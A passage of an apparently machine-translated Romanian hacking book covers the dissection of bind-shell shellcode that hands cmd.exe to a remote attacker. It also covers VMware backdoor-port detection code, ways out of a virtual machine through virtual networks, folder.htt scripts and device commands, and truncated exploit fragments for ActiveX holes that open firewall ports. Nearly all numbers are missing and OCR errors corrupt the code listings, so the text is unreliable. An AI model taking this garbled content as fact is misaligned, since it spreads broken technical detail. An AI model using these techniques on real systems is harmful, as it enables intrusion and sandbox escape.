decriptor banal sub forma instrucțiunii xor, prin urmare, punctul de intrare în codul shell este definit de noi corect și tot ce este necesar este să-l decriptăm, și pentru aceasta trebuie să determinăm valorile registrelor eux și esx utilizate de decriptor Este usor de inteles registrul esx - se initializeaza explicit, prin intermediul unor transformari matematice simple: sub esx,esx -> esx:= ; sub ebx,- h —> add ecx, h —* ecx := h, te la intrarea in decodorul esx va avea valoarea Oh — asta este cate cuvinte duble avem de decriptat Registrul eux este mult mai complicat și, pentru a-și calcula valoarea, trebuie să vă aprofundați în structurile interne de date ale coprocesorului Comanda fldz împinge constanta + , pe stiva coprocesorului, iar comanda fstenv salvează mediul curent al coprocesorului la [esp-OCh] După ce am deschis manualul „Intel Architecture Software Developer’s Manual Volume : Instruction Set Reference” (http://www intel com/design/pentiumii/manuals/ htm), printre alte informații utile, vom găsi mediul FPU format în sine (lista ) Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate Lista Pseudocod pentru comanda fștenv care salvează mediul FPU FPUControlWord FPUSstatusWord FPUTagWord FPUDataPointer FPUInstructionPointer FPULastinstructionOpcode - fstenv -> -> -esp -> + , în caseta de dialog care apare, introduceți codul de mai sus, lansându-l pentru execuție cu + În HIEW, decriptarea este și mai ușoară (Figura ) Deschideți fișierul shellcode, apăsați o dată pentru a comuta editorul în modul hex, mutați cursorul la offset h - unde decriptorul se termină și începe codul criptat (vezi lista ), comutați în modul de editare cu , apăsați (xor) și introduceți constanta de criptare scrisă în ordine inversă pe procesoarele x : h F h h h și continuați să apăsați metodic tasta până când cursorul ajunge la sfârșitul fișierului Salvați modificările cu tasta și ieșiți Odată decriptat, codul shell poate fi dezasamblat în mod normal Începem analiza, dar dăm imediat peste un truc antic, dar încă funcțional, anti-dezasamblare (lista ) Partea a V-a Săpărea codurilor practice Orez Decriptare Shellcode în HIEW segOOO: os : ; COD XREF: segOOO:OOOOOOlCjp segOOO: A U push FFFFFFEBh ; Comanda ascunsă în operand segOOO: B D dec ebp ; Continuarea comenzii ascunse segOOO: C E F FF FF FF apel loc +l ; apel la împingerea din mijloc segOOO: pusha ; salvează toate registrele Comanda de apel loc + sare undeva în mijlocul instrucțiunii push, care împinge constanta FFFFFFEBh în stivă, în care cercetătorii experimentați probabil au văzut deja instrucțiunea de ramificare necondiționată specificată de opcode-ul ev, iar întreaga comandă arată ca aceasta: Dh ev, unde Dh „se întrerupe” din instrucțiunile dec Ebr Este important să nu uităm că push cu opcode Ah este o comandă semnată, adică nu există FFh-uri în opcode în sine, așa că în loc să sărim la adresa eff FFh (după cum rezultă din textul dezasamblatorului), obținem un salt pentru a aborda eff Dh (după cum urmează din codul mașinii), care nu este deloc același lucru! Tranziția în sine, apropo, este relativă și este calculată de la sfârșitul comenzii jmp, a cărei lungime în acest caz este egală cu două Adăugați Dh (adresa țintă a săriturii) la lAh (adresa instrucțiunii de salt în sine - oc + = lAh) și obțineți h La acest offset va fi transferat controlul! Iar comenzile care urmează instrucțiunii de apel sunt localizate doar pentru deghizare, astfel încât inamicul să-și rupă capul mai mult Bine, să mergem în zona h și să vedem ce bun avem acolo (lista ) I Lista Cod care calculează adresa de bază a KERNEL DLL prin PEB segOOO: segOOO: B segOOO: F segOOO: segOOO: segOOO: segOOO: DB B B C B IC ANUNȚ B xor ebx, ebx ; ebx := mov eax, fs: [ebx+ h] ; PEB mov eax, [eax+OCh] ,- PEB LDR DATA mov esi, [eax+lCh] ; InlnitializationOrderModuleList lodsd ; EAX := *ESI mov eax, [eax+ ] ; BAZĂ pentru KERNEL DLL Cu prima comandă care resetează ebx prin xor, totul este clar Dar cel de-al doilea citește ceva din celula situată la adresa fs: [evx+ ] Selectorul fs indică zona de memorie în care sistemul de operare stochează datele firului de serviciu (și aproape niciodată documentate) Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate Din fericire, avem internetul la dispoziție Introducem pe Google „fs: [ZON]” (cu ghilimele!) Și obținem un număr foarte mare de link-uri - de la reclame la cartușe TK-ZON la materiale destul de sănătoase, din care aflăm că este stocat un indicator către blocul de mediu în procesul celular FS: [ZON] (Process Environment Block, REV) O descriere a REB în sine (precum și a multor alte structuri interne ale sistemului de operare) poate fi găsită în cartea excelentă „The Undocumented Functions of Microsoft Windows NT/ ”, a cărei versiune electronică este disponibilă la: http: //undocumented ntinternals net/ Din aceasta aflăm că la offset-ul och de la începutul PEB-ului există un pointer către structura peb ldr data (Listing ), la offset-ul ich de la începutul căruia se află lista Nu un pointer către o listă, ci o listă în sine, constând din două cuvinte duble: un pointer către următorul element al listei listjentry și un pointer către o instanță a structurii ldrjmodule, listată în ordinea inițializării modulului După cum știți, KERNEL DLL este inițializat mai întâi kernel Nu uitați doar că arată adrese RVA relative, așa că trebuie fie să adăugați adresa de încărcare de bază a KERNEL DLL, fie să o scădeți din adresa funcției pe care o căutați Având la dispoziție funcția LoadLibraryA, codul shell încarcă biblioteca de socket ws (lista - ) Numele său este trecut direct prin stivă și se termină cu doi octeți nuli (deși unul ar fi suficient) Numele este generat de comanda push in (după cum ne amintim, puțin mai devreme evx a fost setat la zero - vezi Lista ) push ext este o comandă de doi octeți, în timp ce push ext este un singur octet Dar haideți să nu ne disputăm cu fleacuri Lista Încărcarea bibliotecii ws pentru lucrul cu socket-uri și inițializarea acesteia segOOO: push bx ; \ segOOO: împinge mic h ; + - „ws ” segOOO: F push F h ; / segOOO: D push esp ; &"ws " segOOO: E FF DO apelează eax ; LoadLibraryA segOOO: CB ED FC B push BFCEDCBh ; WSAstartup segOOO: push eax segOOO: FF D apel esi ; MyGetProcAddress Procedura MyGetProcAddress acceptă din nou numărul „magic” BFCEDCBh, care, după ce a fost decodat sub depanator, se dovedește a fi funcțiile API wsAstartup Apelarea acestei funcții este complet nejustificată, deoarece pentru a inițializa biblioteca de socket este suficient să o apelăm o singură dată, ceea ce aplicația vulnerabilă a făcut deja cu mult timp în urmă, altfel cum am putea reuși să o atacăm de la distanță? Secvența apelurilor ulterioare este destul de standard: wSASocketA( , , o, o, o, ) ♦ bind(s, {sockaddr in ; sin port x Eh), x ) ♦ listen(s, ) - -♦ accept (s , *addr, *addrlen) >closesocket(s) După așteptarea unei conexiuni la portul specificat, codul shell citește un șir ASCII, trecându-l interpretorului de comenzi cmd exe după cum urmează: CreateProcessA (o, "cmd , o, o, , , , , IpStartupInfo, IpProcessInformation) —» WaitForSinglpObject(hProc, - ) —» ExitThread( ) Partea a V-a Săpărea codurilor practice Un atacator poate rula orice program și executa comenzi batch, ceea ce îi oferă putere aproape nelimitată asupra sistemului, desigur, dacă firewall-ul permite acest lucru Cu toate acestea, problemele de ocolire a firewall-urilor sunt un subiect pentru o discuție separată Cum să rulați shellcode sub un depanator Metodele statice de cercetare, care includ dezasamblarea, nu sunt întotdeauna convenabile și, în multe cazuri, depanarea este mult mai preferabilă Cu toate acestea, nu există programe de depanare capabile să depaneze codul shell și trebuie să fii complicat Scriem un program simplu de genul „Bună, lume!” și compilați-l Deschidem fișierul executabil rezultat în H EW, prin apăsarea obișnuită trecem în modul hex, apăsăm tasta (antet) și mergem la punctul de intrare cu Apăsați și selectați cu cursorul un anumit număr de octeți, nu mai puțin decât dimensiunea codului shell Apăsați din nou pentru a finaliza selecția și mutați cursorul la începutul blocului selectat Acum apăsăm combinația de tastaturi + , în caseta de dialog care apare, introducem numele fișierului (în acest caz, shellcode) și, după ce blocul este încărcat de pe disc, ieșim din H EW Nu trebuie să apăsați tasta deoarece modificările sunt salvate automat Mesajul Sfârșitul fișierului de intrare înseamnă că dimensiunea selecției depășește dimensiunea fișierului În acest caz, aceasta este situația normală Situația inversă este mult mai rea, deoarece dacă o parte a fișierului nu este încărcată, codul shell nu va funcționa în mod natural După această operație chirurgicală simplă, fișierul executabil poate fi depanat cu orice depanator, chiar și SoftICE, chiar și OllyDbg (Fig ), dar înainte de aceasta, trebuie să editați atributele secțiunii de cod (denumită de obicei text), permițându-i acestuia modificare, altfel codul shell va arunca o excepție la prima încercare de înregistrare Cel mai simplu mod de a procesa fișierul este să utilizați utilitarul EDITBIN care vine cu compilatorul Microsoft Visual C++, rulându-l așa cum se arată în Lista = Lista Eliminarea interdicției de scriere din secțiunea de cod ", J EDITBIN filer ame cxe /SECTION: text,rwe Orez Cod Shell depanat în depanatorul OllyDbg Concluzie Așa că ne-am familiarizat cu metodele de bază de cercetare a exploatărilor Principalul lucru este să nu vă rătăciți și să vă amintiți întotdeauna că aveți internetul la dispoziție! Este suficient doar să compuneți corect o solicitare și toate structurile nedocumentate vor fi vizibile dintr-o privire, deoarece Capitolul Detectarea, depanarea și dezasamblarea programelor rău intenționate măruntaiele sistemelor de operare sunt deja săpate în sus și în jos Este extrem de puțin probabil să găsiți ceva fundamental nou în codul shell Adică, este foarte probabil să întâlnească ceva, dar această descoperire va rămâne „nouă” cel mult o săptămână Și după aceea, va începe să se răspândească prin forumuri, reviste electronice și de hârtie Și apoi Microsoft va lansa o altă remediere pentru minunatul lor sistem, iar trucurile câștigate cu greu vor deveni irelevante Link-uri interesante □ Apeluri de sistem Windows NT - cea mai cuprinzătoare colecție de apeluri de sistem din întreaga linie de sisteme similare Windows NT Extrem de util pentru cercetători: http://www metasploit com/users/opcode/syscalls html D) Apeluri de sistem Linux - o enciclopedie a apelurilor de sistem ale diferitelor sisteme asemănătoare Linux cu prototipuri și, în unele locuri, cu comentarii (în engleză): http://www lxhp in-berlin de/lhpsyscal html Capitolul Atacul asupra emulatorilor Mulți hackeri și programatori rulează programe dubioase sub VMware și alți emulatori, crezând că sunt bine protejați Dar este sigur să faci asta? Poate codul rău intenționat să iasă din emulator și să distrugă sistemul principal? În acest capitol, vom explora această problemă în detaliu, precum și vom lua în considerare mai multe scenarii de posibile atacuri Pe vremea MS-DOS și Windows l, pentru a experimenta cu viruși, trebuia să ții mai multe computere pe masă sau să treci pe un hard disk special, ceea ce era extrem de obositor Oamenii priveau cu dor spre Windows NT, al cărui sistem de securitate permitea să facă lucruri care erau imposibile în MS-DOS și Windows x, de exemplu, permițând unui proces să modifice doar fișiere special plantate Vai! Majoritatea virușilor nu au funcționat sub Windows NT! În plus, protecția s-a dovedit a fi extrem de nesigură, iar hackerii au învățat cum să o ocolească, de exemplu, emulând intrarea mouse-ului / tastaturii și trimițând comenzi către o fereastră mai privilegiată Odată cu apariția mașinilor virtuale (VMware, Virtual PC), a existat și tentația de a le folosi ca „corral” pentru viruși și viermi, ceea ce este foarte convenabil În loc să se încurce cu monitoare, carcase, hard disk și fire, o duzină de „blocuri de sistem” sunt plasate liber într-un singur computer, în plus, unele emulatoare (de exemplu, Bochs) conțin depanare încorporate care funcționează cu încredere acolo unde SoftICE și OllyDbg nu pot mai mult face față Întrebarea este cât de fiabil este să rulezi un vierme activ pe un emulator Dacă iese din asta? O analiză a viermilor prinși sălbatici arată că mulți dintre ei recunosc cu încredere prezența unui emulator, refuzând să ruleze pe el Drept urmare, viermele are șanse mari să treacă neobservat Dar gândul hackerului nu stă pe loc, încercând să iasă din temnițele mașinii virtuale Teoretic, acest lucru este foarte posibil Emulatorii (în special emulatorii dinamici, adică cei care execută o parte din instrucțiuni pe un procesor „în direct”) nu sunt lipsiți de erori Comenzile privilegiate (cum ar fi accesarea porturilor I/O) sunt capturate de emulatori destul de fiabil și, de obicei, nu există rake-uri aici Cu toate acestea, există o amenințare reală de a scrie în spațiul de adrese al procesului emulator atunci când se execută instrucțiuni „normale” Desigur, nu codul este modificat, ci datele, dar dacă există măcar un pointer printre aceste date (și va fi acolo cu siguranță), problema hackerului nostru poate fi considerată rezolvată Singura problemă este că o astfel de gaură (chiar dacă este de fapt descoperită) va fi acoperită mai repede înainte de a se răspândi În plus, varietatea emulatoarelor existente reduce semnificativ șansele de succes ale viermelui Vom elimina găurile ipotetice și ne vom concentra asupra tehnicilor universale care funcționează pe aproape orice emulator și exploatează vulnerabilități la nivel conceptual care nu sunt atât de ușor de închis Iată trei scenarii de atac foarte simple: D) Penetrarea printr-o rețea virtuală D) Interfață backdoor emulator D) Încorporarea în folder htt Să luăm în considerare aceste mecanisme mai detaliat Capitolul Atacul asupra emulatorilor Atacul prin intermediul rețelei virtuale Aproape toți emulatorii acceptă o rețea virtuală care conectează sistemele guest (oaspete) și principale (gazdă) ca printr-un „cablu invizibil” În emulatori precum QEMU, rețeaua virtuală apare imediat, iar în WMware, numai după ce mașina virtuală a fost configurată corespunzător (Fig ) Cu toate acestea, emulatorul este de obicei configurat cu o rețea, deoarece aceasta este cea mai convenabilă modalitate de a face schimb de date În plus, pe baza aceluiași VMware, puteți construi cu ușurință un honeypot , un fel de „capcană” pentru viruși și viermi care se târăsc de pe Internet Orez Configurarea unei rețele virtuale într-un mediu de emulator VMware Dacă sistemul de operare principal este disponibil în rețea și are găuri necorecte (cum ar fi găuri în DCOM RPC sau TCPIP SYS), acesta poate fi atacat liber de sub emulator în același mod ca într-o rețea reală Singura diferență este că majoritatea firewall-urilor personale nu monitorizează sau blochează conexiunile locale Cu alte cuvinte, emulatorul permite unui hacker să se conecteze la acele resurse care sunt închise în siguranță din afara computerului! Atunci când organizați un vas de miere, acest lucru este foarte important! Să presupunem că sistemul principal conține resurse partajate care sunt accesibile numai din rețeaua locală și, pentru comoditate, nu au parole Atunci mașina virtuală devine un fel de „punte” (sau, dacă vrei, un server proxy) între hacker/vierme și sistemul principal! Cum să te protejezi de acest atac? Cel mai simplu lucru este să eliminați rețeaua virtuală și să efectuați toate comunicațiile cu sistemul oaspete prin intermediul unei dischete sau a unui CD-ROM Pentru a nu vă deranja să inscripționați CD-uri goale, puteți utiliza imagini izo virtuale, dar aceasta nu este încă o opțiune! Aceasta înseamnă că va trebui să instalați patch-uri noi pe sistemul principal în timp util, instalați Honeypot (engleză) - „oală de miere” Acest termen „copilăresc” se referă la o resursă a cărei sarcină este să atragă potențialii hackeri, să preia atacul și să înregistreze începutul acestuia Informații mai detaliate despre această nouă tehnologie promițătoare pot fi obținute, de exemplu, din următorul articol: http://www securitylab ru/analytics/ php Partea a V-a Săpărea codurilor practice parolele pentru toate resursele partajate și eliminați de pe mașina principală toate serviciile la care nu doriți să accesați Ca alternativă, asigurați-vă că firewallul dvs personal monitorizează conexiunile locale și le blochează Atacă prin folder htt Emulatorul VMware oferă o altă modalitate de a face schimb de date între o mașină virtuală și sistemul de operare gazdă - foldere partajate (dosare partajate) La configurarea unei mașini invitate, administratorul deschide accesul la unul sau mai multe directoare ale sistemului principal, iar mașina virtuală le „vede” în mediul său de rețea (Fig ) Setări native ale mașinii Opțiuni hardware] Setări Surnary Dosare partajate J General Windows Professional Nume J Hostfolder ■ Stare J Cadru central de alimentare CATEMP activat al doilea D:\TEMP activat unu instantaneu Izolarea invitaților Trageți și plasați activat ■gl, Norrnal/Norrnal avansat I->sable Shared Folde Adăugați | Perne-,'s | proprietate; | OK | Anulează | Ajutor Orez Configurarea folderelor partajate într-un mediu VM Ware Mecanismul folderului public funcționează ocolind rețeaua virtuală (care poate să nu existe) și este foarte fiabil din punct de vedere al protecției, dar este totuși posibil să o ataci! După cum știți, începând cu Windows , „Explorer” acceptă un stil de folder personalizat controlat de fișierul folder htt Acesta este un șablon http obișnuit care „digeră” nu numai etichete, ci și scripturi Se știe că mulți viruși VBS se reproduc în acest mod (Fig ) Ce se întâmplă dacă codul rău intenționat care rulează sub emulator își creează propriul fișier folder htt sau se injectează singur într-unul existent? Prima dată când un folder partajat este deschis de către exploratorul principal de sistem, scriptul conținut în folder htt va prelua controlul, lansând viruși în domeniul său! Și aceasta nu este singura cale! Virusul poate crea un fișier desktop ini, indicând faptul că folderul este folosit pentru a stoca imagini, apoi atunci când îl deschideți, Explorer afișează automat miniaturi Există cel puțin trei erori fatale Windows cunoscute care duc la posibilitatea de a transfera controlul către codul nativ - în fișierele bmp-, jpg- și wmf- Deși patch-urile corespunzătoare au fost lansate cu mult timp în urmă, multe mașini rămân vulnerabile până în prezent Capitolul Orez Un fragment din codul sursă al virusului scris în VBS Este foarte ușor să vă apărați împotriva acestui tip de atac: renunțați la File Explorer și folosiți utilități precum FAR Manager sau Total Commander și verificați periodic folderele partajate pentru viruși Chiar dacă personal nu utilizați niciodată File Explorer, acest lucru nu înseamnă că alții nu îl folosesc și există posibilitatea ca altcineva să deschidă folderul partajat Atacul prin interfață backdoor Pentru a controla o mașină virtuală, mulți emulatori folosesc un mecanism special (și, ca de obicei, nedocumentat) similar cu cel disponibil în SoftICE Virtual PC folosește instrucțiuni ilegale ale procesorului în același scop (de exemplu, OFh Fh h ov), în timp ce VMware folosește un port I/O „magic” Să ne concentrăm pe WMware ca cel mai popular emulator Pentru a trimite o comandă de execuție prin interfața backdoor, trebuie să faceți următoarele: □ În registrul eax, introduceți numărul „magic” D h (în reprezentarea ASCII - vmkh) □ În registrul dx, introduceți numărul „magic” h (numărul portului, în reprezentare ASCII — хх) □ Introduceți numărul comenzii în registrul cx și parametrii acestuia în registrul eux □ Executați comanda IN eax, dx(wihoutdx, eax) Vezi int h în Lista de întreruperi a lui Ralph Brown (http://www ctyme com/rbrown htm) Consultați, de exemplu, articolul „VMware Backdoor and Port” (http://chitchat at infoseek co jp/vmware/backdoor html) Partea a V-a Săpărea codurilor practice □ Dacă programul nu rulează sub WMware (sau emulatorul WMware a fost corectat anterior), atunci o excepție de „încălcare a accesului” va fi aruncată la nivelul aplicației în modul protejat □ Când este executat sub WMware, registrul evx va conține numărul „magic” D h, iar restul registrelor vor conține datele returnate (dacă există) WMware acceptă o mare varietate de comenzi, detaliate și detaliate în articolul deja menționat „VMware back” al lui Ken Kato (http://chitchat at infoseek co jp/vmware/backdoor html) Aici puteți găsi setarea datei/ora și lucrul cu clipboard-ul și chiar și mecanismul de apelare a procedurii de la distanță (RPC), dar nu există comenzi potențial periculoase printre ele Un virus nu poate pur și simplu să ia și să iasă dintr-o mașină virtuală! Sau mai poate? Peste două duzini de echipe rămân încă neexplorate și nu este încă clar de ce sunt necesare deloc Nimeni nu știe ce oportunități ne așteaptă Dintre toate comenzile studiate până în prezent, cea mai periculoasă a fost și rămâne och (Conectarea/deconectarea unui dispozitiv), care este responsabilă de conectarea/deconectarea dispozitivelor IDE-, SCSI- și USB Virusul are o mare oportunitate de a conecta discul fizic al sistemului principal și de a face rău în totalitate (WMware vă permite să creați discuri virtuale bazate pe cele fizice) Un alt virus poate ajunge pe unitatea flash USB și poate infecta toate fișierele executabile de pe ea, pe care cineva le va rula cu siguranță pe mașina principală Cu alte cuvinte, există multe posibilități Pentru protecție, se recomandă patch-ul VMware prin modificarea valorii „numărului magic” Un patch neoficial este aici: http://honeyneLrstack org/tools/vmpatch c, nu există încă patch-uri oficiale și, aparent, nu în viitorul previzibil Cu toate acestea, chiar și un sistem corectat este încă vulnerabil, deoarece este posibil să ridicați numerele magice necesare folosind metoda forței brute (atac cu forță brută) La urma urmei, nu există atât de multe variante posibile - un număr de port pe biți, plus un cookie pe de biți oferă mai puțin de de biți semnificativi ! Ca exemplu, luați în considerare programul care determină versiunea WMware (Listing ) Lista K Program care demonstrează interacțiuni // constante de șir #define VM #define VM DETECTED #define VM NOT DETECTED #define VM NOT RECOGNZD "vmware" "detectat" "nu a fost detectat" „detectat, dar nu recunoscut” // Sub VMware, funcția returnează versiunea VMware în registrul eax // (null nu este VMware sau versiunea necunoscută), // fără VMware, se aruncă o excepție decispec(naked) get vm() // Funcție nudă fără prolog și epilog { asm{ ; Pregătim argumente și plăcinte magice Mov esx, OAh ; Numărul de comandă - Definiția versiunii Mov eax, d h ,- „VMXh” - număr magic ca „plăcintă” Mov edx, h ; ' VX' - portul magic al interfeței ușii din spate ; Tragem de frânghie Se obțin mai puțin de de biți semnificativi deoarece numerele standard de port nu pot fi utilizate Capitolul Atacul asupra emulatorilor În eax, dx; Apelăm comanda prin interfața backdoor ; Parametrii returnați sunt plasați în EAX/EBX/ECX ; Atenţie! ; Într-un mediu Windows curat, fără VMware, la accesarea portului I/O ; va apărea o excepție și controlul va fi transferat responsabilului SEH, ; care trebuie setat in prealabil (in caz contrar executia programului ; va fi completat de sistem) ; Dacă tot suntem aici, așadar, excepția nu a apărut ; și fie un șofer viclean a deschis porturi I/O, ; sau rulăm VMware nepatchat ; sau ceva foarte asemănător Cmp ebx, VMXh' ; Analizăm plăcinta magică returnată Sunt sub VMware; Dacă plăcinta este returnată, suntem sub VMware Hog eax, eax; Returnează null - nu suntem sub VMware ret; Ieșim din funcție under VMware: ret; Suntem sub vm-ware nepatchat, în numărul de versiune eax principal() ( // Apelați funcția get ym din blocul try, // pentru a prinde excepții ridicate // Pentru simplitate și claritate, versiunea VMware returnată de get vm este // nu este afișat și raportat doar dacă a fost găsit // emulator nepattchat sau nu (dacă nu apare nicio excepție, // VMware este considerat descoperit) încercați { printf("%s %s\n",VM, (get vm())?VM DETECTED:VM NOT RECOGNZD);} // Handler de excepții care primește control atunci când este executat // programe într-un mediu Windows curat, sub un VMware corectat sau activat // alt emulator except(l) (printf("%s %s\n",VM, VM NOT DETECTED);} Pentru a face schimb de mici porțiuni de date între mașina virtuală și sistemul principal, este convenabil să folosiți o dischetă veche și bună Oferim doar emulatorului acces fizic la dispozitivul A: (B:) - și asta este! Dacă un virus injectează cod rău intenționat în sectorul de boot, discheta este uitată în unitate, iar această unitate este primul dispozitiv de pornire din BIOS Setup, există șansa ca într-o zi codul rău intenționat să preia controlul și să poată infecta hard-ul acționarea sistemului principal Un emulator este un lucru foarte convenabil, dar reproducerea de viruși în adâncurile unei mașini virtuale este potențial nesigură „Cochilia” care separă sistemul oaspeților de lumea reală este prea subțire pentru a rezista unui atac bine planificat Puteți, desigur, pentru distracție, să rulați emulatorul în emulator (de exemplu, Bochs în interiorul VMware), dar acest lucru încă nu rezolvă toate problemele, dar performanța va scădea enorm! Un hard disk separat în acest sens este mult mai fiabil și mai convenabil Apropo, este necesar să opriți discul principal pur fizic - prin tăierea cablului Discurile enumerate în secțiunea principală a BIOS-ului sunt relevante doar în etapa inițială de pornire, iar apoi toate schimburile trec printr-un driver de mod protejat care funcționează direct cu controlerul Dezactivarea canalelor controlerului integrat prin configurarea BIOS, de regulă, face ca unitățile Partea a V-a Săpare practică de cod invizibile, iar instrumentele Windows obișnuite nu le vor ajunge, dar codul rău intenționat, cu dorința puternică a autorului său, poate reconfigura controlerul din mers, preluând toate canalele Desigur, aceasta este o operație dependentă de sistem și toate controlerele sunt programate diferit Cu toate acestea, este foarte posibil să oferiți suport pentru câteva dintre cele mai comune chipseturi! Cele mai recente exploit-uri pentru mașinile virtuale Pe lângă scenariile considerate simple și binecunoscute, există și alte oportunități de pătrundere Deoarece, ca orice alt software, mașinile virtuale nu sunt lipsite de erori, ele sunt o țintă foarte tentantă pentru o varietate de atacuri Să aruncăm o privire la doar câteva dintre cele mai recente exploit-uri VMware: Execuție de la distanță a codului arbitrar I Pe iulie , un hacker pe nume caIIIAX, care face parte din grupul de cercetare argentinian extrem de productiv „GOODFELLAS Security Research Team” (http://goodfellas shellcode com ar), a descoperit că o componentă curioasă ActiveX a fost inclusă în mașina virtuală VMware, implementată în biblioteca dinamică vielib dll (căutați-o în directorul \Program Files\Common FilesWMwareWMwaie Vntual Image EditingV), care exportă multe metode potențial nesigure care vă permit să manipulați cu sistemul de operare gazdă, nu cu sistem de operare invitat În același timp, biblioteca nu verifică de unde provine apelul - dintr-o aplicație „nativă” sau din cod rău intenționat Una dintre aceste metode este startProcess, care permite, după cum sugerează și numele, să genereze procese în numele utilizatorului curent cu toate privilegiile sale Este suficient să mergi la pagina „hacker”, „încărcat” cu cod rău intenționat! În același timp, VMware nu trebuie lansat, însuși faptul de a instala emulatorul pe computer este suficient Și asta-i tot O altă victimă va fi adăugată la pușculița hackerului Consultați http://www securityfocus com/bid/ pentru mai multe informații despre această gaură Comunicatul de presă distribuit de grupul GOODFELLAS menţionează doar VMware , dar vulnerabilitatea este prezentă şi în versiunea , dar versiunea este invulnerabilă Mai mult, pentru un apel de succes la componentele ActiveX, avem nevoie de Internet Explorer versiunea sau mai mare Dar FiieFox și Opera sunt complet sigure în acest sens Codul sursă pentru exploit (Listing ) publicat de grupul GOODFELLAS este disponibil pe următoarele site-uri: http://www milw rm com/exploits/ și http://www securityfocus com/data/vulnerabil ities/ exploits/ html ■ Listarea Exploați codul sursă care atinge VMWare + și IE +, deschidere • -port pe un firewall obișnuit cobject id=ctrl classicWclsid:{ B C - AA- C -BEEF E EB )"> După cum puteți vedea, exploit lansează utilitarul de sistem netsh exe, forțându-l să deschidă portul pe firewall-ul standard, care în sine nu este încă un atac, ci în combinație cu alte metode Cu toate acestea, atunci când încercați să apăsați butonul Proof of Concept, Internet Explorer ne avertizează asupra pericolului (Fig ) Pentru ca atacul să aibă efect, victima trebuie să intre în setările de securitate ale Internet Explorer și să dezactiveze forțat interzicerea utilizării controalelor ActiveX care nu sunt marcate ca sigure Desigur, este puțin probabil ca acest lucru să se întâmple cuiva, dar trebuie amintit că există atacuri care vizează direct Internet Explorer și care vă permit să ocoliți aceste restricții Cu toate acestea, Outpost Firewall (și, probabil, alte firewall-uri personale) vor reacționa imediat la un DLL suspect, așa că vor trebui și ele neutralizate cumva Orez Reacția Internet Explorer la o încercare de a rula un exploit Medicamentul oficial este încă în curs de dezvoltare, în timp ce se pot propune următoarele soluții: □ Nu faceți nimic, deoarece Internet Explorer nu va executa cod ActiveX în mod implicit A Activați Kill-bit pe elementul clsid { b C - aa- C -beef- E eb } așa cum este recomandat de Microsoft: http://support microsoft com/kb/ □ Anulați înregistrarea bibliotecii vielib dll folosind regsvr - VMware Virtual Image Editing va înceta, desigur, să funcționeze, dar aceasta nu este o problemă mare Partea a V-a Săpărea codurilor practice VMware: Arbitrary Code Remote Execution II Pe iulie , adică a doua zi după descoperirea unei găuri în VMware, același grup argentinian „GOODFELLAS Security Research Team” a descoperit încă două metode nesigure în biblioteca dinamică vielib dll, care de data aceasta s-a dovedit a fi CreateProcess și CreateProcessEx, care, după cum sugerează numele lor, poate rula procese cu drepturile unui utilizator care a accesat o pagină de hackeri plină cu cod rău intenționat sau a primit un e-mail HTML Același caIIAX a fost enumerat ca descoperitorul găurii, ceea ce este destul de logic, având în vedere că cantitatea de cod pentru biblioteca dinamică vulnerabilă este relativ mică În acest caz, cel mai probabil nu avem de-a face cu șansa oarbă, ci cu o analiză conștientă care vizează găsirea de noi găuri, care s-au dovedit a fi foarte fructuoase Mai multe informații pot fi găsite aici: http://www securityfocus com/bid/ În ciuda faptului că atât Security Focus, cât și „GOODFELLAS Security Research Team” menționează doar WMware , gaura este prezentă în versiunile anterioare, în special , dar versiunea este încă invulnerabilă De asemenea, această problemă nu îi afectează pe cei care folosesc Internet Explorer sau browsere alternative (FireFox și Opera) Lista - arată codul sursă pentru exploit publicat de grupul GOODFELLAS și disponibil pe următoarele site-uri: http://www milw rm com/exploits/ și http://downloads securityfocus com/vulnerabilities/exploits / html Lista Exploați codul sursă „lovind VMWar” + și Internet Explorer + prin rularea standardului „Calculator” cobject Jd= O classid="clsid:{ F FDE- - C- - C EA A}"> cinput language=JavaScnpt onclick=Doit() type=button value="Proof of Concept"> Problema este rezolvată prin analogie cu cazurile anterioare, cu singura diferență că identificatorul clsid ACEST timp este (AF BO E- A - CAC- C A-EC E A } Subminarea mașinilor virtuale din interior Mașinile virtuale sunt folosite în mod activ ca „tester de testare” pentru studiul tuturor tipurilor de cod rău intenționat în condiții apropiate de luptă Codul rău intenționat, desigur, nu-i place acest lucru și, prin urmare, atacul este efectuat în două direcții Primul (și cel mai important) este să încerci să ieși din temnițele mașinii virtuale prin infiltrarea în sistemul de operare principal Al doilea este de a crea un astfel de cod care să funcționeze doar pe hardware „în direct”, iar sub o mașină virtuală fie rulează incorect (sarcină minimă) fie zdrobește mașina virtuală (sarcină maximă) Partea a V-a Săpărea codurilor practice Există vulnerabilități în mașinile virtuale, deși nu în număr atât de mare ca în sistemele de operare din familia Windows Un singur precedent este suficient pentru ca cercetătorii să-și piardă pentru totdeauna încrederea în mașinile virtuale Și un astfel de precedent chiar a avut loc când, în decembrie , Tim Shelton (Tit Shelton) a postat pe forumul Full-disclosure (http://lists grok org uk/pipermail/full-disdosure/ -Decembei html) un mesaj despre prezența unei găuri de la distanță în serviciul Vmnat implementat în fișierul executabil vmnat exe inclus cu VMware Workstation , VMware GSX Server, VMware ESX Server, VMware Ace și VMware Player Este demn de remarcat aici că destul de mulți cercetători de cod încă folosesc VMware , adică în , ceea ce li se potrivește pe deplin Defectele de proiectare au dus la faptul că serviciul specificat nu a fost capabil să accepte solicitări FTP special „echipate” eprt și port, provocând o depășire dinamică a memoriei în serviciul natd (Fig ) cu posibilitatea de a trimite cod shell executat pe principalul (gazdă) sistem de operare cu toate consecințele care decurg Apropo, un atac este posibil nu numai de sub o mașină virtuală, ci și de la o rețea externă (intra și/sau Internet), dacă, desigur, rețeaua virtuală este configurată în mod corespunzător (setată implicit) și este nu se limitează la transferul de date doar între mașini virtuale Mai multe informații despre acest subiect pot fi găsite la http://www securityfocus com/bid/ Pentru a remedia defectul, este recomandat să descărcați noua versiune de la http://www vmware com/download Dacă din anumite motive acest lucru nu este posibil sau de dorit, puteți utiliza opțiunea descrisă în baza de cunoștințe VMware: http://www vmware com/support/kb (Answer AR) Orez , Descoperire de sub WMware printr-o gaură în Vmnat Apropo, aceasta nu a fost prima gaură din VMware Dacă scoateți arhivele, veți descoperi că chiar și în cea mai veche versiune de VMware , atunci disponibilă numai pentru Linux, a existat o eroare de supraîncărcare care a fost făcută publică pe BugTraq în iunie de un hacker pe nume Jason Rhoads Codul sursă de exploatare poate fi descărcat de pe site-ul Security Focus: http://www securityfocus eom/data/vuinerabilities/exploits/vmware c Deși acest exploit și-a pierdut de multă relevanță, deoarece defectul a fost remediat în următoarea versiune , faptul în sine este important Parada 